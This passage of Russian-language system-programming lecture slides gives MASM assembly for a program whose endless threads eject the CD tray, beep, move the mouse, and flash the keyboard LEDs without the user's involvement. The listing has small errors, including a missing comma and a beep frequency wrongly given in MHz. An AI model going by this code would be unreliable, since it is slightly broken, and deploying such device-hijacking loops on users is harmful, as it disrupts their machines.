invoke CreateThread,0,0,eax,0,0,addr h1; создать процесс
lea EAX, _procSPEAKER ; загрузка адреса процедуры
invoke CreateThread,0,0,eax,0,0,addr h2; создать процесс
lea EAX, _procKEYBOARD ; загрузка адреса процедуры
invoke CreateThread,0,0,eax,0,0,addr h3; создать процесс
invoke CreateEvent,0,FALSE,FALSE,0; создание события
mov hEventStart,eax ; сохранение хендла события
invoke WaitForSingleObject,\ ; ожидание завершения процесса
hEventStart,5000 ;
invoke ExitProcess,0к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
35
_procCD proc; процедура управления CD-npиводом
_CD:
invoke mciSendString,addr _cmd_eject,0,0,0 ; открыть CD
invoke Sleep, 1000; ожидать 1 секунду
invoke mciSendString,addr _cmd_close,0,0,0 ; закрыть CD
jmp _CD ;
_procCD endp ;
_procSPEAKER proc ; npoц. упр. динамиком
_SPK:
invoke Beep,1000,1000; 1 MГц и длительность 1 с
invoke Sleep,10; ожидать 0.01 секунду
jmp _SPK ;
_procSPEAKER endp;
_procMOUSE proc ; проц. упр. мышкой
_MOUSE:
invoke Sleep, 1; 0.001 c
invoke SetCursorPos,X,Y ; установка курсора
inc X ;
inc Y ;
jmp _MOUSE ;
_procMOUSE endp ;
_procKEYBOARD proc ; проц. упр. светодиодами
_KEYB:
invoke keybd_event,VK_NUMLOCK,1,0,0
; нажатие клавиши NUMLOCK
invoke keybd_event,VK_SCROLL,1,0,0
; нажатие клавиши SCROLL LOCK
invoke keybd_event,VK_CAPITAL 1,0,0
; нажатие клавиши CAPSLOCK
invoke keybd_event,VK_NUMLOCK,1,\
KEYEVENTF_KEYUP,0 ; отпускание кл. NUMLOCK
invoke keybd_event,VK_SCROLL, 1, \
KEYEVENTF_KEYUP, 0 ; отпускание кл. CROLL LOCK
invoke keybd_event,VK_CAPITAL,1,\
KEYEVENTF_KEYUP,0; отпускание кл. CAPSLOCK
invoke Sleep,500 ; ожидание 0.5 ceкунды
jmp _KEYB ;
_procKEYBOARD endp ;
end _st
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич
Программа использования потоков для процедур
управления CD-привода, управления системным
динамиком, управление светодиодами на
клавиатуре, управление мышкой без вмешательства
пользователя. Кроме того, программой создается
иконка в системном трее.
36
к.т.н., проф. НТУ ХПІ Рысованый Александр Николаевич
373737373737
«Системное программирование»
к.т.н., проф. НТУ ХПИ Рысованый Александр Николаевич,
[email protected], [email protected]
личный сайт: http://blogs.kpi.kharkov.ua/v2/asm/
НАЦИОНАЛЬНЫЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ
“Харьковский политехнический институт”
Кафедра “Вычислительная техника и программирование”
Специальность 123 – «Компьютерная инженерия»;
специализации:
123-01 «Компьютерные системы и сети»;
123-02 «Системное программирование»;
123-03 «Программирование компьютерных игр и мобильных приложений»;
Специальность 125 – «Кибербезопасность»